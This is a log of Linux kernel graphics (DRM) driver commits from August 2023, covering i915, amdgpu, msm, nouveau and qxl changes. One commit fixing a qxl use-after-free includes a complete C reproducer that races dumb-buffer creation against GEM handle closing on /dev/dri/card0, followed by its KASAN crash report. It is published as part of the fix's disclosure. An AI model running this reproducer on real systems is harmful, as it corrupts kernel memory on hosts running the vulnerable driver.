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2023-08-18drm/i915/dp: Remove extra logs for printing DSC infoAnkit Nautiyal1-3/+0
DSC compressed bpp and slice counts are already getting printed at the end of dsc compute config. Remove extra logs. Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Arun R Murthy <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/i915/intel_cdclk: Add vdsc with bigjoiner constraints on min_cdlckAnkit Nautiyal1-14/+45
As per Bsepc:49259, Bigjoiner BW check puts restriction on the compressed bpp for a given CDCLK, pixelclock in cases where Bigjoiner + DSC are used. Currently compressed bpp is computed first, and it is ensured that the bpp will work at least with the max CDCLK freq. Since the CDCLK is computed later, lets account for Bigjoiner BW check while calculating Min CDCLK. v2: Use pixel clock in the bw calculations. (Ville) v3: Use helper to account for FEC overhead. (Stan) Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Stanislav Lisovskiy <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/i915/dp: Update Bigjoiner interface bits for computing compressed bppAnkit Nautiyal1-1/+4
In Bigjoiner check for DSC, bigjoiner interface bits for DP for DISPLAY > 13 is 36 (Bspec: 49259). v2: Corrected Display ver to 13. v3: Follow convention for conditional statement. (Ville) v4: Fix check for display ver. (Ville) v5: Added note for 2 PPC. (Stan) Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Ville Syrjälä <[email protected]> Reviewed-by: Stanislav Lisovskiy <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/i915/dp: Use consistent name for link bpp and compressed bppAnkit Nautiyal3-60/+60
Currently there are many places where we use output_bpp for link bpp and compressed bpp. Lets use consistent naming: output_bpp : The intermediate value taking into account the output_format chroma subsampling. compressed_bpp : target bpp for the DSC encoder. link_bpp : final bpp used in the link. For 444 sampling without DSC: link_bpp = output_bpp = pipe_bpp For 420 sampling without DSC: output_bpp = pipe_bpp / 2 link_bpp = output_bpp For 444 sampling with DSC: output_bpp = pipe_bpp link_bpp = compressed_bpp, computed with output_bpp (i.e. pipe_bpp in this case) For 420 sampling with DSC: output_bpp = pipe_bpp/2 link_bpp = compressed_bpp, computed with output_bpp Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Ville Syrjälä <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/i915/dp_mst: Use output_format to get the final link bppAnkit Nautiyal3-2/+6
The final link bpp used to calculate the m_n values depend on the output_format. Though the output_format is set to RGB for MST case and the link bpp will be same as the pipe bpp, for the sake of semantics, lets calculate the m_n values with the link bpp, instead of pipe_bpp. Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Ville Syrjälä <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/i915/dp: Move compressed bpp check with 420 format inside the helperAnkit Nautiyal1-9/+9
Move the check for limiting compressed bits_per_pixel for 420,422 formats in the helper to compute bits_per_pixel. v2: Fix typo in commit message. (Ankit) Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Arun R Murthy <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/i915/dp: Consider output_format while computing dsc bppAnkit Nautiyal3-2/+19
While using DSC the compressed bpp is computed assuming RGB output format. Consider the output_format and compute the compressed bpp during mode valid and compute config steps. For DP-MST we currently use RGB output format only, so continue using RGB while computing compressed bpp for MST case. v2: Use output_bpp instead for pipe_bpp to clamp compressed_bpp. (Ville) Signed-off-by: Ankit Nautiyal <[email protected]> Reviewed-by: Ville Syrjälä <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915: Eliminate has_4tile feature flagMatt Roper4-3/+1
We don't really need a feature flag for has_4tile since there's a well-defined cutover point (DG2) at which all new platforms started using Tile4 as their Y-major tiling layout. The GT side of the code already handles Tile4 vs legacy TileY with checks on the IP version rather than looking at the feature flag, and we can simplify the display code similarly (which will also make it more self-contained for re-use in the Xe driver). Signed-off-by: Matt Roper <[email protected]> Reviewed-by: Haridhar Kalvala <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/selftest: Simplify Y-major tiling in blit selftestMatt Roper1-24/+15
Rather than picking random tiling formats from a pool that contains both TileY and Tile4 and then trying to replace one with the other depending on the platform, it's simpler to just use a single enum value that represents whatever the platform-appropriate Y-major tiling format is (i.e., Tile4 on Xe_HP and beyond, legacy TileY on earlier platforms). Signed-off-by: Matt Roper <[email protected]> Reviewed-by: Haridhar Kalvala <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/dg2: Drop Wa_16011777198Matt Roper5-122/+0
Wa_16011777198 only applies to pre-production steppings of DG2, which we're no longer supporting. Remove the workaround and override_gucrc handling, which is no longer needed. Since this was the final use of IS_DG2_GRAPHICS_STEP, that macro can also be removed now. v2: - Include the promised removal of override_gucrc handling. Cc: Ashutosh Dixit <[email protected]> Cc: Vinay Belgaumkar <[email protected]> Cc: Umesh Nerlige Ramappa <[email protected]> Signed-off-by: Matt Roper <[email protected]> Reviewed-by: Ashutosh Dixit <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915: Tidy workaround definitionsMatt Roper1-54/+46
Removal of the DG2 pre-production workarounds has left duplicate condition blocks in a couple places, as well as some inconsistent platform ordering. Reshuffle and consolidate some of the workarounds to reduce the number of condition blocks and to more consistently follow the "newest platform first" convention. Code movement only; no functional change. Signed-off-by: Matt Roper <[email protected]> Acked-by: Jani Nikula <[email protected]> Reviewed-by: Matt Atwood <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/dg2: Drop pre-production GT workaroundsMatt Roper6-279/+21
DG2 first production steppings were C0 (for DG2-G10), B1 (for DG2-G11), and A1 (for DG2-G12). Several workarounds that apply onto to pre-production hardware can be dropped. Furthermore, several workarounds that apply to all production steppings can have their conditions simplified to no longer check the GT stepping. v2: - Keep Wa_16011777198 in place for now; it will be removed separately in a follow-up patch to keep review easier. Bspec: 44477 Signed-off-by: Matt Roper <[email protected]> Acked-by: Jani Nikula <[email protected]> Reviewed-by: Matt Atwood <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/dg2: Drop pre-production display workaroundsMatt Roper3-9/+1
All production DG2 cards have display stepping C0 or later. We can drop Wa_14013215631 (only applies to pre-C0) and make Wa_14010547955 unconditional (applies to everything B0 and beyond). Also drop the now-unused IS_DG2_DISPLAY_STEP macro. Bspec: 44477 Signed-off-by: Matt Roper <[email protected]> Acked-by: Jani Nikula <[email protected]> Reviewed-by: Matt Atwood <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/dg2: Recognize pre-production hardwareMatt Roper1-0/+3
The first production SoC steppings for DG2 were C0 (for G10), B1 (for G11), and A1 (for G12). This corresponds to PCI revision IDs 0x8, 0x5, and 0x1 respectively. Add this information to the driver's pre-production detection. Bspec: 44477 Signed-off-by: Matt Roper <[email protected]> Acked-by: Jani Nikula <[email protected]> Reviewed-by: Matt Atwood <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18drm/qxl: fix UAF on handle creationWander Lairson Costa4-14/+24
qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it. A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario. Reproducer: int dri_fd =-1; struct drm_mode_create_dumb arg = {0}; void gem_close(int handle); void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; } void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); } int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd); if(dri_fd == -1) return -1; pthread_t tid1; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; } This is a KASAN report: ================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: <TASK> __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48 RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 </TASK> Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400) The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally. The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940). Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa <[email protected]> Cc: [email protected] Reviewed-by: Dave Airlie <[email protected]> Signed-off-by: Dave Airlie <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18Merge branch 'etnaviv/next' of https://git.pengutronix.de/git/lst/linux into ↵Dave Airlie11-107/+201
drm-next This time mostly cleanups around the runtime power management handling and slightly improved GPU hang handling. Also some additions to the HWDB to get the driver working properly on more NXP i.MX8MP IP cores. Signed-off-by: Dave Airlie <[email protected]> From: Lucas Stach <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18Merge tag 'amd-drm-fixes-6.5-2023-08-16' of ↵Dave Airlie10-30/+93
https://gitlab.freedesktop.org/agd5f/linux into drm-fixes amd-drm-fixes-6.5-2023-08-16: amdgpu: - SMU 13.x fixes - Fix mcbp parameter for gfx9 - SMU 11.x fixes - Temporary fix for large numbers of XCP partitions - S0ix fixes - DCN 2.0 fix Signed-off-by: Dave Airlie <[email protected]> From: Alex Deucher <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-18Merge tag 'drm-misc-fixes-2023-08-17' of ↵Dave Airlie4-59/+41
git://anongit.freedesktop.org/drm/drm-misc into drm-fixes One EPROBE_DEFER handling fix for the JDI LT070ME05000, a timing fix for the AUO G121EAN01 panel, an integer overflow and a memory leak fixes for the qaic accel, a use-after-free fix for nouveau and a revert for an alleged fix in EDID parsing. Signed-off-by: Dave Airlie <[email protected]> From: Maxime Ripard <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/3olqt33em5uhxzjbqghwcwnvmw73h7bxkbdxookmnkecymd4vc@7ogm6gewpprq
2023-08-18Merge tag 'drm-intel-fixes-2023-08-17' of ↵Dave Airlie3-12/+36
git://anongit.freedesktop.org/drm/drm-intel into drm-fixes - Fix the flow for ignoring GuC SLPC efficient frequency selection (Vinay) - Fix SDVO panel_type initialization (Jani) - Fix display probe for IVB Q and IVB D GT2 server (Jani) Signed-off-by: Dave Airlie <[email protected]> From: Rodrigo Vivi <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/cx0: Program vswing only for owned lanesGustavo Sousa1-11/+14
According to the BSpec, voltage swing programming should be done for owned PHY lanes. Do not program a not-owned PHY lane. BSpec: 74103, 74104 Reviewed-by: Mika Kahola <[email protected]> Signed-off-by: Gustavo Sousa <[email protected]> Signed-off-by: Matt Roper <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/cx0: Enable/disable TX only for owned PHY lanesGustavo Sousa1-3/+6
Display must not enable or disable transmitters for not-owned PHY lanes. BSpec: 64539 Reviewed-by: Mika Kahola <[email protected]> Signed-off-by: Gustavo Sousa <[email protected]> Signed-off-by: Matt Roper <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915: Simplify intel_cx0_program_phy_lane() with loopGustavo Sousa1-59/+20
It is possible to generalize the "disable" value for the transmitters to be a bit mask based on the port width and the port reversal boolean, with a small exception for DP-alt mode with "x1" port width. Simplify the code by using such a mask and a for-loop instead of using switch-case statements. v2: - Use (i < 2) instead of (i / 2 == 0) for PHY lane mask selection. (Jani) BSpec: 64539 Cc: Jani Nikula <[email protected]> Signed-off-by: Gustavo Sousa <[email protected]> Reviewed-by: Mika Kahola <[email protected]> Signed-off-by: Matt Roper <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/i915/cx0: Add intel_cx0_get_owned_lane_mask()Gustavo Sousa1-17/+27
There are more parts of C10/C20 programming that need to take owned lanes into account. Define the function intel_cx0_get_owned_lane_mask() and use it. There will be new users of that function in upcoming changes. BSpec: 64539 Reviewed-by: Mika Kahola <[email protected]> Signed-off-by: Gustavo Sousa <[email protected]> Signed-off-by: Matt Roper <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/msm/a6xx: Bail out early if setting GPU OOB failsKonrad Dybcio1-1/+3
If the GMU can't guarantee the required resources are up, trying to bring up the GPU is a lost cause. Return early if setting GPU OOB fails. Tested-by: Neil Armstrong <[email protected]> # on SM8550-QRD Tested-by: Dmitry Baryshkov <[email protected]> # sm8450 Signed-off-by: Konrad Dybcio <[email protected]> Patchwork: https://patchwork.freedesktop.org/patch/551830/ Signed-off-by: Rob Clark <[email protected]>
2023-08-17drm/msm/a6xx: Move LLC accessors to the common headerKonrad Dybcio2-15/+15
Move these wrappers in preparation for use in a6xx_gmu.c Tested-by: Neil Armstrong <[email protected]> # on SM8550-QRD Tested-by: Dmitry Baryshkov <[email protected]> # sm8450 Signed-off-by: Konrad Dybcio <[email protected]> Patchwork: https://patchwork.freedesktop.org/patch/551824/ Signed-off-by: Rob Clark <[email protected]>
2023-08-17drm/msm/a6xx: Introduce a6xx_llc_readKonrad Dybcio1-0/+5
Add a helper that does exactly what it says on the can, it'll be required for A7xx. Tested-by: Neil Armstrong <[email protected]> # on SM8550-QRD Tested-by: Dmitry Baryshkov <[email protected]> # sm8450 Signed-off-by: Konrad Dybcio <[email protected]> Patchwork: https://patchwork.freedesktop.org/patch/551828/ Signed-off-by: Rob Clark <[email protected]>
2023-08-17drm/i915/dgfx: Enable d3cold at s2idleAnshuman Gupta1-15/+18
System wide suspend already has support for lmem save/restore during suspend therefore enabling d3cold for s2idle and keepng it disable for runtime PM.(Refer below commit for d3cold runtime PM disable justification) 'commit 66eb93e71a7a ("drm/i915/dgfx: Keep PCI autosuspend control 'on' by default on all dGPU")' It will reduce the DG2 Card power consumption to ~0 Watt for s2idle power KPI. v2: - Added "Cc: [email protected]". Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8755 Cc: [email protected] Cc: Rodrigo Vivi <[email protected]> Signed-off-by: Anshuman Gupta <[email protected]> Reviewed-by: Rodrigo Vivi <[email protected]> Tested-by: Aaron Ma <[email protected]> Tested-by: Jianshui Yu <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-17drm/ttm/tests: Require MMU when testingKarolina Stolarek1-1/+1
Satisfy MMU dependency when testing TTM with KUnit. This fixes compilation errors on platforms that don't select this option by default. Signed-off-by: Karolina Stolarek <[email protected]> Reported-by: kernel test robot <[email protected]> Closes: https://lore.kernel.org/oe-kbuild-all/[email protected]/ Closes: https://lore.kernel.org/oe-kbuild-all/[email protected]/ Reviewed-by: Christian König <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected] Signed-off-by: Christian König <[email protected]> (cherry picked from commit 78f46ecd9be8ec85a177c15d6188e1555657ba86) Signed-off-by: Thomas Zimmermann <[email protected]>
2023-08-17Revert "drm/edid: Fix csync detailed mode parsing"Jani Nikula1-21/+8
This reverts commit ca62297b2085b5b3168bd891ca24862242c635a1. Commit ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") fixed EDID detailed mode sync parsing. Unfortunately, there are quite a few displays out there that have bogus (zero) sync field that are broken by the change. Zero means analog composite sync, which is not right for digital displays, and the modes get rejected. Regardless, it used to work, and it needs to continue to work. Revert the change. Rejecting modes with analog composite sync was the part that fixed the gitlab issue 8146 [1]. We'll need to get back to the drawing board with that. [1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146 Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8789 Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8930 Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/9044 Fixes: ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") Cc: Ville Syrjälä <[email protected]> Cc: [email protected] Cc: <[email protected]> # v6.4+ Signed-off-by: Jani Nikula <[email protected]> Acked-by: Ville Syrjälä <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-16drm/nouveau/disp: fix use-after-free in error handling of ↵Karol Herbst1-4/+7
nouveau_connector_create We can't simply free the connector after calling drm_connector_init on it. We need to clean up the drm side first. It might not fix all regressions from commit 2b5d1c29f6c4 ("drm/nouveau/disp: PIOR DP uses GPIO for HPD, not PMGR AUX interrupts"), but at least it fixes a memory corruption in error handling related to that commit. Link: https://lore.kernel.org/lkml/20230806213107.GFZNARG6moWpFuSJ9W@fat_crate.local/ Fixes: 95983aea8003 ("drm/nouveau/disp: add connector class") Signed-off-by: Karol Herbst <[email protected]> Reviewed-by: Lyude Paul <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-16drm/i915/selftests: Align igt_spinner_create_request with hangcheckJonathan Cavitt1-0/+3
Align igt_spinner_create_request with the hang_create_request implementation in selftest_hangcheck.c. Signed-off-by: Jonathan Cavitt <[email protected]> Reviewed-by: Matt Roper <[email protected]> Acked-by: Andi Shyti <[email protected]> Signed-off-by: Matt Roper <[email protected]> Link: https://patchwork.freedesktop.org/patch/msgid/[email protected]
2023-08-16Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0""Alex Deucher1-1/+1
This reverts commit 27dd79c00aeab36cd7542c7a4481a32549038659. It appears MPC_SPLIT_DYNAMIC still causes problems with multiple displays on DCN2.0 hardware. Switch back to MPC_SPLIT_AVOID_MULT_DISP. This increases power usage with multiple displays, but avoids hangs. Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2475 Cc: Rodrigo Siqueira <[email protected]> Reviewed-by: Harry Wentland <[email protected]> Signed-off-by: Alex Deucher <[email protected]> Cc: [email protected] # 6.4.x
2023-08-16drm/amd: flush any delayed gfxoff on suspend entryMario Limonciello2-8/+2
DCN 3.1.4 is reported to hang on s2idle entry if graphics activity is happening during entry. This is because GFXOFF was scheduled as delayed but RLC gets disabled in s2idle entry sequence which will hang GFX IP if not already in GFXOFF. To help this problem, flush any delayed work for GFXOFF early in s2idle entry sequence to ensure that it's off when RLC is changed. commit 4b31b92b143f ("drm/amdgpu: complete gfxoff allow signal during suspend without delay") modified power gating flow so that if called in s0ix that it ensured that GFXOFF wasn't put in work queue but instead processed immediately. This is dead code due to commit 10cb67eb8a1b ("drm/amdgpu: skip CG/PG for gfx during S0ix") because GFXOFF will now not be explicitly called as part of the suspend entry code. Remove that dead code. Signed-off-by: Mario Limonciello <[email protected]> Signed-off-by: Tim Huang <[email protected]> Reviewed-by: Lijo Lazar <[email protected]> Signed-off-by: Alex Deucher <[email protected]> Cc: [email protected]
2023-08-16drm/amdgpu: skip fence GFX interrupts disable/enable for S0ixTim Huang1-2/+39
GFX v11.0.1 reported fence fallback timer expired issue on SDMA and GFX rings after S0ix resume. This is generated by EOP interrupts are disabled when S0ix suspend but fails to re-enable when resume because of the GFX is in GFXOFF. [ 203.349571] [drm] Fence fallback timer expired on ring sdma0 [ 203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0 [ 203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0 For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers to configure the fence driver interrupts for rings that belong to GFX. The interrupts configuration will be restored by GFXOFF exit. Signed-off-by: Tim Huang <[email protected]> Reviewed-by: Mario Limonciello <[email protected]> Signed-off-by: Alex Deucher <[email protected]> Cc: [email protected]
2023-08-16drm/amdgpu: skip xcp drm device allocation when out of drm resourceJames Zhu2-2/+20
Return 0 when drm device alloc failed with -ENOSPC in order to allow amdgpu drive loading. But the xcp without drm device node assigned won't be visiable in user space. This helps amdgpu driver loading on system which has more than 64 nodes, the current limitation. The proposal to add more drm nodes is discussed in public, which will support up to 2^20 nodes totally. kernel drm: https://lore.kernel.org/lkml/[email protected]/T/ libdrm: https://gitlab.freedesktop.org/mesa/drm/-/merge_requests/305 Signed-off-by: James Zhu <[email protected]> Acked-by: Christian König <[email protected]> Reviewed-by: Felix Kuehling <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amd/pm: Update pci link width for smu v13.0.6Asad Kamal1-2/+8
Update addresses of PCIE link width registers, & link width format used to populate gpu metrics table for smu v13.0.6 v2: Removed ESM register update v3: Updated patch subject and message Signed-off-by: Asad Kamal <[email protected]> Reviewed-by: Lijo Lazar <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amd/pm: Fix temperature unit of SMU v13.0.6Lijo Lazar1-3/+6
Temperature needs to be reported in millidegree Celsius. Signed-off-by: Lijo Lazar <[email protected]> Reviewed-by: Yang Wang <[email protected]> Signed-off-by: Alex Deucher <[email protected]>
2023-08-16drm/amdgpu/pm: fix throttle_status for other than MP1 11.0.7Umio Yasuno1-7/+7
Use the right metrics table version based on the firmware. Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2720 Reviewed-by: Evan Quan <[email protected]> Signed-off-by: Umio Yasuno <[email protected]> Signed-off-by: Alex Deucher <[email protected]> Cc: [email protected]
